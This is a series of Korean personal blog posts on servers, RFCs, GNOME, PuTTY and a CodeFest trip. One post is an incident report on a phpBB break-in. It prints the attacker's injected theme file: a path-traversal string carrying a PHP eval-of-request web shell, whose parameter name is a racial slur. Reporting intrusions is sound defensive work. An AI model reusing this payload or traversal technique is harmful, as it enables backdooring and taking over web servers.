다시 엄마 아파치 품으로

한동안 웹서버를 lighttpd로 외도를 했습니다만, 얼마 전에 다시 아파치로 돌아왔습니다. 역시 쓰는 사람이 적으면 같은 문제를 겪는 사람의 수가 적은 것이 크나큰 한계네요..

lighttpd를 쓰면서 즐거웠던 것은, php를 밖에다 두고 fastcgi로 쓰는 것이 일반화되어 있어서 매뉴얼에 상세히 작성되어 있었기에 왠지 분리를 했다는 뿌듯함에.. 🙂 그리고 프로세스 개수도 적고 해서 퍼포먼스 차이를 별로 실감하지 못하면서도 왠지 빠른 것 같이 느껴지고 그랬는데, 문제는 역시 한 1주일 쓰다보니까 발견이 되었습니다.

lighttpd를 쓰다 보면, 비동기 웹서버의 특성 상 아무래도 fastcgi나 proxy를 써서 백엔드로 많이 넘기게 되는데, 생각보다 개발자가 특이한 상황을 아직 많이 접해보지 못한 것 같습니다.

  • fastcgi가 돌다가 에러가 단 1번이라도 나면, 바로 그 핸들러가 서비스 설정에서 빠지기 때문에 보안 상으로는 좋을 지는 몰라도 실제로는 수시로 뻑나서 서비스가 어렵 ㅠ.ㅠ
  • fastcgi를 외부 서버로 돌리고 있을 때 서버가 죽어버리면 unknown state: 3이라는 에러로그를 무한정 뿌립니다. (하드디스크 꽉 찰 때까지!) /var에 4기가 할당했는데 왜 자꾸 풀나나 했더니.. 허헛; 이 현상은 소스를 확인해 보니까, fastcgi 비동기 접속 상태가 열댓개가 있는데 그 중에서 자주 나오는 2개만 핸들하고 나머지는 프로그램을 안 해 놨더군요.. -.-;;
  • proxy도 같은 현상. unknown state 싫어싫어~

한동안은 “그래 나도 lighttpd에 이바지해야지” 하고, 앗싸 버그! 모드로 수정을 해 보았는데, 별로 하나 수정하면 또 다른데서 뻑나고 그래서.. 흐흐 쉽지가 않네요. 결국은 우리 마음의 고향 아파치로 돌아왔습니다. 돌아오고 나니 어찌나 반갑던지 ㅠ.ㅠ 대충 설정해도 찰떡같이 돌아가 주고! 그래 역시 집이 좋구나.

기왕에 fastcgi-php를 세팅한 김에, 아파치에서도 fastcgi로 돌렸는데, 역시 동적인 서비스에서는 웹 서버의 영향이 거의 없는 것이 맞는지, phpBB의 첫 페이지를 벤치마크해 본 결과 lighttpd로 돌린 것이 230 요청/분, apache로 돌린 것이 227 요청/분 이렇게 나왔습니다. 사실 벤치마크하는 도중에 CPU는 95% 정도를 php가 먹고 있었기 때문에, 정말로 웹서버는 별 영향이 없네요.. 그래 아파치 좋아~ 🙂

아파치에서 php-fastcgi를 설정하면서 지난 번에 했던 php 패치가 제대로 동작을 하지 않았는데, 스크립트 파일 위치를 chroot된 디렉터리를 chroot되기 전 경로 기준으로 주는 바람에 그런 것이어서, 약간 패치를 더 해 봤습니다. 아파치 php-fastcgi 쓰시려는 분들은 써 보세요. 🙂

Intel HyperThreading 보안 결함 발견

최근 FreeBSD의 미래와 관련된 무척 흥미로운 (정말로!) 얘기들이 많이 나오고 있는 BSDCan 2005에서 일이 하나 터졌습니다. 인텔의 펜티엄 연산 버그 이후로 가장 큰 문제가 아닐까 하는데, FreeBSD 커미터인 Colin Percival (freebsd-updateportsnap으로 유명한)이 인텔의 Hyper-Threading 구현의 보안 결함을 BSDCan에서 발표한 것입니다.

아직 무슨 문제인지, 고칠 방법은 무엇인지가 구체적으로 발표된 것은 아니고, BSDCan에 참가하고 있는 개발자들 간에는 활발한 토론이 이뤄지고 있는 듯합니다. 해당 문제로 인해서 영향을 받을 수 있는 것은, 다른 사용자 프로세스에 의해서 RSA키같은 사적인 정보들이 노출될 수 있다는 것인데, 아무래도 CPU상의 문제가 그런 영향을 미칠 수 있는 방법을 생각해 보면 HTT에서 같은 프로세서에 우연히 같이 올라간 프로세스가 서로 메모리 영역 보호가 잘 안 된다거나.. 알게 모르게 특수한 상황에서 레지스터가 공유돼 버리는 것이 아닌가 한번 때려 맞혀 봅니다. -.-; 그래서, FreeBSD에서는 하이퍼쓰레딩이 이제 디폴트로 꺼지는 것으로 우선 처리가 됐고, NetBSD에서는 올바른 피해가기 패치를 마련한 다음에 발표할 예정이라고 합니다. 그리고 SCO에서도 패치를 한 걸로 봐서는, OS에 큰 상관 없이 하이퍼쓰레딩을 지원하는 모든 OS에 영향을 주는 것 같군요.

흐흐흐.. 인텔 화이팅~ -O-;;;

회사 PHP 코딩 규정

요새 회사가 새로운 모습으로 (9시 출근을 포함해서;;) 많이 바뀌면서, 정상적인 개발팀이라면 있어야 한다고 보통 다들 그러지만, 하루 벌어 하루 먹고 사는 빈곤 개발팀들에게는 꿈같은 것 중의 하나인 “코딩 규정 (coding standards)”를 만들었습니다.

제가 소속된 팀에서는 서버나 에이전트 같은 정적인 프로세스들은 파이썬을 사용하고 있고, 웹 인터페이스 쪽에서는 커스터마이즈를 직접 하기 원하는 고객들의 요구때문에, PHP를 사용하고 있습니다. 그래서, 파이썬쪽은 당연히 PEP-008 파이썬 코드 스타일 가이드를 따르는 것으로 간략하게 정했고, PHP 쪽에서는 딱히 생각나는 문서가 없어서 우선 떠오르는 몇가지를 글자로 옮겨 보았습니다. (원본은 회사 내부 사이트 안에 올라가 있기 때문에, 따로 OpenLook Wiki에 PHPCodingStandard 페이지로 옮겨 두었습니다.)

물론, 인덴트 크기나, {}의 위치, if () 조건문의 띄어쓰기 방법, 각 연산자 별로 어느 것은 띄어 쓰고 어떤 것은 띄어쓰지 않을 것인지, switch뒤에 case는 띄어 쓸지 아닐지 같은 것들은 상당히 종교적인 싸움까지도 갈 수도 있는 민감한 사안이기는 합니다. 그렇지만, 각자가 자기 스타일이 좋다고 그냥 코드를 제각각 써버리는 것 만큼 추한 코드 나오기 적당한 환경이 없을 것 같다는 생각이 들어서, 그냥 모두 1가지 방법으로 통일했습니다. 목표는 코드를 보고서 이게 누가 짠 것인지 모르게 만드는 것! 크크 🙂

사실 XP를 쓰지 않는 프로젝트를 하다 보면, 알게 모르게 어느 소스는 누가 잘 알고 그런 게 생기게 마련인데, 이렇게 되면 문제점 해결을 위해서 고객이 연락을 하려는 경우에 여기 저기 공무원 처럼 떠넘김을 당하고 나서는, 개발자들이 책임감이 부족하다는 것을 느끼기도 한다는 것을 고객사 담당자에게 들었는데, 변명의 여지는 있지만 그래도 못 들은 체 하기에는 맞는 면도 있는 것 같습니다. 이제 슬슬 저희 팀에서도 이제 누가 짰는지 모르는 공동생산을 본격적으로 해보려고 마음을.. 🙂

파이썬 마을이 뚫리다

오픈룩과 같은 서버에서 호스팅하고 있는 파이썬마을이 오늘 낮에 중국에서 들어온 것으로 보이는 공격자들에게 잠시 뚫렸습니다. 바로 다른 분들이 알려주신 덕분에, 2.0.11을 사용하고 있던 phpbb를 2.0.13으로 업데이트하고, 뚫린 곳을 복구했습니다.

phpBB는 널리 쓰이는 여타 php 웹 애플리케이션이나 마찬가지로 매번 보안 문제점이 발생될 때마다 엄청나게 치명적인 권한 누출이 발생되는데, 국내외를 불문하고 다들 이런 것은.. php의 문제인지.. 스크립트 언어 기반 웹 프로그래밍의 문제인지.. 참 답답하네요;; 한 두번도 아니고 흑흑 -.-

우선, 이번에 뚫린 부분은 일반 사용자로 가입한 뒤에 2월 27일에 발표된 회원 누구나 자동 로그인 기능을 사용해서 관리자 권한을 획득할 수 있는 버그로 웹상의 관리자 권한을 획득하는 곳까지 성공해서, 게시판 1개의 설명을 바꿔놨습니다. 안 바꿨으면 눈치를 못 챘을텐데 중국 이름을 알리고 싶었던 모양이죠 -.-a

그 다음으로 공격시도는 아직 발표되지 않은 보안 버그를 시도하려한 듯 한데, 컬러 테마로 상위디렉토리로 쭉쭉 올라가서 tmp에다가 theme_info.cfg라는 파일을 만드는 것까지는 성공했네요. (이건 따라해 보니까 2.0.13에서도 아직 수정이 안 된듯) 그래서, 이제 theme_info.cfg에 php코드를 넣을 수 있다는 점을 이용해서 GET 요청으로 들어온 변수를 바로 php에서 실행을 하도록 했는데, 다행히도 오픈룩의 웹서버가 jail안에 들어가 있어서, 별로 갖고 갈 정보도 없는데다, 특별히 의미있는 작업을 한 것 같지는 않습니다.

공격자측에서 /tmp/theme_info.cfg 로 기록에 성공한 파일의 앞부분

<?php

//
// phpBB 2.x auto-generated theme config file for aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp
// Do not change anything in this file!
//

$aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../..
/../../../../../../../../tmp[0][‘template_name’] = “aaa=12;eval(stripslashes($_REQUEST[n
igga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp”;

으흐흐.. 어차피 뭐 곧 서버를 옮길테니까 DB만 무사하면 되는데.. 백업이 이틀 전 것까지 밖에 없어서 그새 뭔가 날아간 게 있을까봐 두렵군요 –;

php 웹 애플리케이션들의 보안버그 – 과연 끝은 어디인가 -_-;;

URI, URL, URN..

요즘은 회사에서 DDDS (Dynamic Delegation Discovery System) 관련한 작업을 하고 있습니다. DDDS는 URN (Uniform Resource Name)을 찾아서 URI나 서비스를 동적으로 연결해 주는 시스템입니다. URN을 URI로 바꾸고 그러다보니, URN, URI, URC, URL 등등 UR 씨리즈가 무척 많이 나오는데, 전에도 URI와 URL이 대체 차이가 무엇인가! 상당히 궁금했는데, 이번 기회에 문서를 읽어보게 되어서, 궁금하신 분이 많을까봐 한번 정리를.. 🙂

URL (Uniform Resource Locator)은 아시다시피 흔히들 많이 쓰는, http://xxx.yyy:1234/hehehe.html 같은 프로토콜로 시작해서 콜론찍고 그 다음에 주소를 쓰는 인터넷에서 접근할 수 있는 자원의 주소입니다.

한편, URN은 인터위키처럼 네임스페이스ID:컨텐트스펙 형식으로 이루어지는데, 예를 들어, 책 The D&I of FreeBSD O/S 같은 경우에 URN 주소로 urn:isbn:0201702452 이 되고, 최근 파이썬 보안 버그에 대한 VuXML 엔트리의 URN은 urn:uuid:6afa87d3-764b-11d9-b0e7-0000e249a0a2 이 됩니다. 이런 인터위키스러운 분야 외에도, 정규식 기반의 rewrite와 다단계 authority resolving, 우선순위 지정같은 것들을 지원해서, SIP과 연관된 분야에서 많이 사용되고 있는 듯 합니다.

그런데 URI는 대체 무엇인가! URL과 URN을 묶어서 그냥 URI .. ;;; 그 외에 URC (Uniform Resource Characteristics)도 URI에 속하는데, 이는 관련된 사진, 인용 목록, 리비전 기록 같은 것들을 제공하는 것이라고는 하는데, 실제로 쓰이는 예를 전혀 찾을 수가 없었습니다. 그런데, 굳이 URL도 알고보면 scheme이 여러가지가 있어서 새로 정의할 수 있는데 왜 굳이 URI밑에 URL을 두는가 한참을 고민을 헀는데, 그냥 단순히 URL은 그냥 옛날에 쓰이던 개념적인 것이고 현재로써는 그냥 비공식적인 용어라고 합니다.

그런데도, 실제로 URN, URI, URL, URC간의 서로 변환해주는 서비스를 정의하고 있는 THTTPURI간 변환 서비스 같은 곳에서는 URI, URL을 다른 용어로 따로 분리하고 있어서, 완전히 비공식적으로 치부하기에는 좀 무리가 있는 듯 합니다. 으흐흐~

지금 사용하고 있는 coreblog는 아직 모인모인 문법을 지원하지 않는 관계로 ReST냐 HTML이냐를 선택할 수 밖에 없는데, ReST에서는 그림을 못 쓰는 관계로 어쩔 수 없이, HTML코드로 로그를 쓰는데, 뭔가 참고를 할 때마다 링크 쓰기가 한이 없이 귀찮은게.. URN링크를 쓰면 자동으로 HTML링크로 바꿔주는 플러그인이라도 만들어서 붙여야겠다는 생각을 해 봅니다.. 으흐~

있을 지 없을 지 모르는 상수를 #if에 쓰기

오늘 커밋 로그를 보다가 멋진 트릭을 하나 발견!

C의 #if에서 정의 됐을지 안 됐을지 모르는 상수를 계산식에 써버리면 치명적인 에러가 보통 발생합니다. 예를 들면

#if NUM_OF_GIRLFRIENDS > 1
#error you're denied to run this program.
#endif

이 코드를 컴파일할 때 미리 NUM_OF_GIRLFRIENDS 가 아예 정의되어 있지 않다면, (아마도 전혀 기억이 없는 사람.. ~먼산~)

#if > 1
#error you're denied to run this program.
#endif

이렇게 돼서 > 연산자의 왼쪽이 없어서 에러가 나는데, 보통 사람의 해결방법은 #ifdef를 위에 쓰는 것이겠지만.. 오늘 파이썬 커밋 로그에서 모 플랫폼 (사실은 FreeBSD 4 -.-;)에서 _POSIX_SEMAPHORES 가 정의되지 않아서 생기는 문제점을 Martin이 고친 것을 봤는데 이렇게 고쳐놨습니다.

#if (_POSIX_SEMAPHORES+0) == -1
#define HAVE_BROKEN_POSIX_SEMAPHORES
...
#endif

_POSIX_SEMAPHORES가 정의되어 있지 않더라도 +0 == -1이 돼서.. 결국은 제대로 전처리가 되는 것!! +_+

SEED가 IETF RFC로 등장

감자옹SPF에 대해 담소를 나누던 중, 최근에 RFC로 등록됐다는 SMTP 메시지 추적 확장판이 몇번인지 한번 찾아보려고, 오랜만에 RFC 인덱스를 끝에서부터 뒤져 봤습니다. 옛날에 호기심 많던 젊은 시절(-.-)에는비교적 자주 RFC 인덱스를 업데이트해서 봤었는데 훈련 다녀 오고서는 마냥 잠만 와서~ 크흐흐;;;

마지막부터 차근차근 보다가 아앗! 발견한 것이 RFC4009: The SEED Encryption Algorithm! SEED가 정말로 내가 4년 전에 회사에 갓 들어와서 아무것도 모를 때 하던 그 SEED가 맞는가 하고 잠시 고민을 했는데 옆에 한국식 저자명들이 아 그게 맞구나 하고 확신을.. 🙂 KISA에서 썼군요

전에 봤던 두툼한 책 2권짜리 수식으로 가득찬 SEED 책보다는 훨씬 얇아서 약간 주춤하기는 했는데, 기본 암호화, 복호화 방법과 매직넘버는 모두 담겨있어서 구현을 위한 최소한의 것은 잘 씌여 있군요. 수학식에 압도당해서 보기도 힘들었던 그 책 대신 이걸 봤으면 좀 더 쉽게 구현할 수 있었을지도..ㅠ.ㅠ

부록으로 RFC4010으로 CMS에서 사용하는 방법도 등록 되었네요.

그냥 보는 김에 쭉 위로 훑어보다가 작년 하반기 이후에 등록된 재미있는 것들이 제법 있었습니다. 흐흐

  • RFC3986에 URI가 새로운 버전으로 업데이트 되고, 오랫동안 draft 상태로 있었던 IRI가 RFC3987로 드디어 proposed standard로 등록되었습니다. (IRI는 URI에서 유니코드를 쓰기 위한 확장)
  • RFC3912로 WHOIS 프로토콜이 업데이트 되었습니다. 워낙 간단하니 별로 프로토콜에서 달라진 점은 안 보이고, 국제화에 대해서 대책이 없다는 것을 솔직하게 적은 게 추가 됐네요. (….)
  • 지금까지 IETF RFC로 등록된 적이 없었던 CGI가 역사를 기록이라도 하려는 듯 2004년 10월에서야 RFC3875로 등록됐군요. 요새 제가 쓰던 CGI들이 다들 레퍼러 스팸 공격을 받고서는 죽고 있어서 CGI는 이제 안 쓰려고 마음먹었습니다. ㅠ.ㅠ
  • 지나가다가 또 다른 한국식 이름을 발견했는데, RFC3974 IPv6 전환의 애플리케이션측 양상에 ETRI 소속의 한국인 저자가 첫번째부터 세번째까지 저자 이름이 올라가 있군요. 🙂 그리고 NetBSD의 itojun씨도 공동저자로! (와!)

요새 등록되는 RFC에 유독 SIP관련 내용이 많은 걸로 봐서는, 아무래도 인터넷 전화나 W-CDMA를 준비하는 업체들이 많이 보이는 것 같기도 하고 그렇네요. 그리고 그새 1월에 RFC4000을 돌파했는데.. 아직 RFC4000이 등록이 안 된것이.. 아무래도 만우절 농담을 RFC4000으로 등록하려는 것일까요? ;;; 4004도 비워놨고.. 뭐가 등록될 지 기대가 되는군요. 🙂

GNOME 2.10

지난 주 목요일이던가에 릴리스된 GNOME 2.10으로 업그레이드 했습니다. 🙂 포트에는 지난 주 토요일에 들어왔는데, 업그레이드하는데 그동안 갖고 있던 로컬 패치 여러개가 이리저리 뻑을 내서 4번 gnome_upgrade.sh를 돌린 끝에 20시간 걸려서 겨우 업그레이드 했군요..; 으흐 다음 부터는 커밋 안한 로컬 패치는 안 넣어둬야;;

gnome2.10
GNOME 2.10 (누르면 큰 그림)

전체적인 느낌은.. 2.8과 뭐가 달라졌는지 모르겠다.. 였;;; 2.6에서 2.8 올라가면서 UI가 많이 산뜻해진 느낌이 들었는데, 2.10은 딱히 크게 달라진 것처럼 보이는 것은 없네요~ 속도는 CPU가 빨라서 그런지 (우하하) 별 차이 없어보이고;; -ㅇ- 그런데, 깔고 나서, 세팅하던 도중에 gstreamer-register에서 계속 segfault가 나면서 gstreamer를 사용하는 모든 프로그램이 동작하지 않는 문제가 있었는데, 이 문제를 ganadist님의 도움을 받아 추적해본 결과 libmodplug.so 였던가 .mod 를 담당하는 모듈에서 뭔가 문제가 생겨서, 그 파일을 제거하고 다시 gstreamer-register를 실행해 주니까 잘 되었습니다~

그래도 영 보람이 없는 것은 아니어서 이런 건 정말 마음에 들었습니다. 🙂

  • 로그아웃 박스에 드디어 “컴퓨터 끄기”가! – 로그아웃 할 때 기존에 “현재 설정 저장”, “로그 아웃” 밖에 없어서 컴퓨터를 끄려면 밖에 나가서 gdm이나 셸에서 또 init 0 등의 명령으로 꺼야했었는데, 랩탑에서는 상당히 번거로웠던게, 드디어 이제 한방에 끌 수 있군요. 🙂
  • “프로그램-데스크탑” 애플릿이 “프로그램-위치-데스크탑”으로 – 그놈 기본 설정으로는 맨 왼쪽 아래에 위치하는 애플릿이 이제 중간에 “위치”가 끼여 들어가서, 위치를 등록해 놓고 자주 쓰는 디렉터리들에서 노틸러스를 바로 띄울 수 있게 되었네요.
  • $HOME/.xmodmap도 이제 합법적으로 사용 가능 – 그동안 $HOME/.xmodmap이 있으면 부팅하면서 절대로 쓰지 말라고 협박조로 궁시렁궁시렁 댔었는데, 이제는 $HOME/.xmodmap도 로딩할 때 사용할거냐고 물어본 다음에, 다음 로그인부터는 로딩이 정상적으로 됩니다. 그래서 이제 한/영키 매핑을 위해서 따로 xmodmap 번거롭게 조절해 줄 필요가 없어졌네요. 🙂

사실은 FreeBSD도 4.9 이후로 나온 4.10과 4.11은 거의 바뀐 점이 없다는 것을 생각해 보면, 그놈 2.10도 안정적인 릴리스 모드로 들어가 버린 걸까요? 뭐 하여간 이제 “컴퓨터 끄기”가 생긴 만큼, 불편한 것은 없어서 좋습니다. ㅋ~

한글 PuTTY 0.57 릴리스

exman님의 결혼을 축하드리는 기념으로 한글 PuTTY 0.57을 방금 릴리스 했습니다. -O-;

작년 10월쯤에 발표된 PuTTY 보안 버그패치도 적용하지 않고 있었는데, 2월에 또 하나 더 나와서 좀 더 버티기는 무리라고 생각하고.. 흐흐; 이번에 겉으로는 이런 것들이 바뀌었습니다.

  • IPv6 지원이 들어갔습니다.
  • 포워딩 같은 용도로 사용하기 위해 셸이나 명령어 실행 안하기 모드가 추가되었습니다.
  • 여러개의 SSH관련 보안 버그가 수정되었습니다.
  • 접속이 끊긴 창에서 새 창을 안 띄우고 그자리에서 다시 접속할 수 있게 되었습니다.
  • SOCKS 5 프락시를 위한 CHAP인증 기능이 추가되었습니다.
  • X포워딩과 리모트 포트 포워딩에 관련된 여러가지 버그들이 수정되었습니다.

늘 그랬듯이 이번에 외부적으로 크게 변한 것은 없는 반면에, 내부적으로 소스 코드에서는 상당히 많이 바뀌었는데, 특히 그동안 주 코드에 붙어 있었던 win32 지원 코드가 모두 windows/ 하위 디렉토리로 내려가는 바람에 이제 소스 레이아웃에서도 멀티 플랫폼의 냄새가 납니다. 🙂 그리고, 터미널 제어 코드들이 성능을 위해서 여기저기 많이 고쳐놔서, 성능이 나쁜 컴퓨터에서도 스크롤 속도가 그다지 느리지 않을 듯 합니다. 덕분에 기존에는 대충 근처만 invalidate하면 새로 그려져서 커서 패치가 쉬웠는데, 이번엔 정확하게 커서 위치를 맞춰서 그려야 제대로 그려지는 바람에, 한 이틀밤을 디버거 들고 씨름했네요.. 흐흐;; (바보~) ㅠ.ㅠ

특히 작년 초부터 시작된 PuTTY의 전역변수 제거 작업은 이제 어느 정도 단계까지 진행되어서, 터미널과 접속 관련된 대부분의 변수가 전역변수에서 벗어났고, 설정과 관련된 일부 변수들만 전역으로 남아있어서, SDI 인터페이스로 감싼다던지 하는 것도 쉽게 될 것처럼 보입니다.

그럼, PuTTY와 함께 즐거운 작업~ (;;)

CodeFest Asia 2005

3월 2일부터 3일까지 베이징의 하이댠구 종관춘(海淀? 中?村)에 있는 ?家?用?件?品?量?督??中心 (국가…센터 — 아는 글자가;;)에서 열린 CodeFest Asia 2005에 참가했습니다. 원래 묵고 있었던 신세기반점에서 대략 30분 거리라고 하기는 했는데.. 길이 막히고 하니까 거의 직선으로만 쭈우욱 가는데도 실제로 걸린 시간은 40~50분정도 되는군요. 베이징이 얼마나 넓은지 이렇게 멀리 갔는데도 지도에서는 그냥 서쪽 구석에서 왔다갔다 한 것 밖에 안 되네요;;

국가..센터가 있는 종관춘(중관춘인가?) 근처까지 가는 길은 그냥 우리나라 보통 시가지나 별로 다를 것이 없는데, 본격적으로 접어들면서 슬슬 대전시 유성구 분위기로 바뀌더니 소프트웨어센터 근처는 완전 건물이 띄엄띄엄 있는게 거의 ETRI 근처를 방불케하는군요.. ㅎㅎ;; 사람도 안 다니고 택시도 안 다니고 -ㅇ-; 근데 역시 녹지가 유성에 비해서 좀 적어서 경치는 좀 별로이고 공기도 별로 안 좋기는 했습니다. 건물은 우주선 닮은게 많아서 멋있군요;;


코드페스트하는 방 © Anthony Wong

코드페스트는 우리나라에서와는 달리 아주 좁은 컴퓨터실 1개와 회의실 1개를 사용했는데, 주 행사는 모두 컴퓨터실에서 하고, 회의실은 휴게실로 사용했습니다. 컴퓨터실에는 미리 PC에 리눅스를 모두 깔아 두었는데, root비밀번호가 123456이라고 일러주더군요. 흐흐 역시 전세계 공통 비밀번호는 123456! -o-; 행사를 진행하던 앤써니가 영어, 중국어, 일본어로는 123456을 읽어줬는데 한국어로는 안 읽어준 것을 보면 한국어 숫자세기는 별로 안 유명한가봅니다. 한국어로 숫자세는 방법을 어디 홈페이지에 올리던지 해야지.. 흐~;;


초반이라 다들 열심히 코딩 중 © Anthony Wong

참가한 사람들은 아무래도 중국에서 하다보니 CJK만 참가를 했는데, 일본에서 거의 10명 넘게 왔고, 대만에서도 5~6명 정도 참가를 한 것 같습니다. 원래는 주최측에서는 몇가지 주제로 나눠서 작업을 진행할 생각이었나본데, 자기소개하는 시간에 다들 자기 하고 싶은 걸 얘기하는 바람에 결국은 거의 다 따로따로 자기 일을 하는 식이 돼버렸습니다. UIM 개발자나 Emacs에서 입력기를 개발하는 개발자, 데비안 중국어 문서 번역 프로젝트, CJK 유니한 폰트 개발자 등 많은 수가 국제화에 관련된 작업을 했지만, 리눅스 커널 포팅이나 udev쪽 작업 같은 일반적인 주제도 있었습니다.


g니베씨가 포팅하는 머신과 그 옆의 과자들~ 🙂 © Anthony Wong

흐흐 역시 코드페스트 하면 빠질 수 없는게 간식과 식사! 간식은 제크랑 비슷한 Ritz인데, 대형할인매장용같은 5개들이 포장으로 2명에 1개씩 주더군요~ 그리고 음료수도 500ml PET로 몇개 줬는데, 아미노업도 있고.. 뭐 역시 이런건 비슷비슷~ 그리고 라면(사진에 보이는 초록색 용기)을 줬는데, 그 날은 배가 불러서 못 먹고 다음날에 한번 먹어봤는데.. 헉.. 스프 중의 하나가 뭔가 비계성 물질 12g이라 아무래도 불안해서 빼고 먹었는데도 느끼한게.. (…)

그리고 식사는 센터 건물 안에 있는 구내식당에서 먹었습니다. 점심은 고열량 식사 (진짜로 노골적으로 고열량 식사라고 라벨이 붙어있습니다;;)를 주는데, 중국집의 요리 메뉴에 나올 법한 음식들이 뷔페로 가득있어서 우선은 처음은 좋았는데.. 두째날에는 역시 그 씹으면 와사비에 된장 타서 100배 농축한 듯한 그 엄청난 냄새의 그 향신료와 기름가득 국물들과.. 그래 이정도면 중국 음식은 원 없이 먹고 가는구나 하는 생각이 –;; 그래도 죽은 담백한게 맛있네요. 🙂 하나 잊고 있었던 것을 일깨워준 것이, 식사에 나오는 디저트 귤이 아니!! 씨가 있는 것이었습니다! 오오.. 귤에 씨가.. (가만 생각해 보니 어릴 때는 씨가 있었던 것 같기도 하고..)


일본에서 온 개발자들에게 한글 입력 방식에 대해 설명하고 있는 최환진님 © Anthony Wong

이제 밥도 먹고 어느 정도 작업을 하고 나서, 최환진님은 일본에서 온 여러 입력기 개발자들과 한글 입력 방식이나 입력기의 여러가지 이슈에 대해서 토론을 하셨는데, 옆에서 들어보니 아 역시 멋있네요~ 🙂 코드페스트에서는 혼자 작업하는 것보다는 역시 이슈를 공유하는 사람들이 참가해서, 자유로운 의사소통을 최대한 활용하는 쪽으로 응용하는 것이 좋은 매력인 듯 합니다. 그런데, 저는 딱히 관심사가 비슷한 사람이 없어서 좀 아쉬웠습니다. 대만의 그 많은 포트 커미터들은 하나도 안 오고 뭐 한거야 ㅡ.ㅡ;;

코드페스트가 끝나고 나서 생각이 들었던 것은 우리나라의 코드페스트도 앞으로는 약간 넓은 주제를 기준으로 프로젝트를 신청받아서 참가를 받는 것이 좋지 않을까하는 것이었습니다. 그러니까, 중점 이슈가 “GNOME/GTK 기반 프로그램”이라고 하면, GTK기반인 사전이라던지, GNOME 애플릿을 개발하는 사람, GNOME 메시지 번역 등의 프로젝트가 참여해서 서로 공유하는 관심사가 많은 만큼 오프라인에서 활발히 토론을 하고 서로에게 충분히 도움을 줄 수 있고, 그 외에도 “PHP 기반 웹 애플리케이션”, “온라인/오프라인 게임”, “입력기와 폰트”, “자바 웹 애플리케이션” 등 어느 정도 국내에서 프로젝트를 모집할 수 있으면서도 관심사를 한정할 수 있는 것이 제법 있을 법 하네요.. 그동안 너무 프로젝트가 다 다른 분야로 모이다보니, 서로 전혀 관심 없는 사람들끼리 그냥 하룻밤 옆에서 있었다는 그 정도의 의미밖에 없었던 것에서 오프라인 활용을 극대화할 수 있는 뭔가 주제의 집중이 필요한 듯 합니다.


호텔 화장실과 느끼한 라면 므흐흐

이번 코드페스트 참가는, 처음으로 외국에 나온 것이기도 하지만 처음 호텔에 묵기도 하고 처음 비행기도 타고 여러모로 첫 경험의 집합인데, 참 좋다고 느낀 것 중의 하나는 호텔 서비스 –;; 아 어디 잠시 나갔다 오기만 하면 방을 치워줘서.. 어찌나 좋던지.. 직접 날 잡아서 안 치우면 계속 쌓여만 가는 자취생에게는.. 뭔가 꿈만 같은 생활이군요 –; 잠깐 키오스크에 뭐 사러 갔다 오면 바로 수건 새걸로 바꿔져 있고, 설거지 다 해놓고.. 아 이것이 바로 내가 그리던 생활이야! -O-;;


비행기 이륙 직전에 자리에서 본 베이징국제공항

오는 길에는 이번에 알게 된 ETRI에서 공개소프트웨어를 연구하는 분과 동행했습니다. 오는 길에 먹었던 기내식이 참 마음에 들었는데, 기내식에 대한 부푼 기대와 함께;; 역시 오는 길의 기내식도 어찌나 맛있던지.. 며칠동안 중국음식을 먹어서 눈물이 주루룩;; -O-;; 인천공항에 도착해서 나왔는데, 뭔가 별로 베이징공항과도 다른 느낌이 없는 것이.. 일본 사람들이 베이징이나 서울이나 별로 다른 점을 못 느낀다고 하는 것이 참 몸으로 와 닿는군요.. 비슷비슷~ 뭐 물론, 건물이 띄엄띄엄있던게 붙어있다는 것은 좀 다르긴 하네요;;

이번 코드페스트 덕분에 병특기간인데도 즐겁게 밖에도 다녀오고, 운이 좋았던 것 같습니다. 이제 병특이 끝나면 무슨 일만 있으면 열심히 나가야겠습니다..! PyCon도 가고 OSCON도 가고~ (신났다;) — 그러나 아직은 병특 ㅡㅢ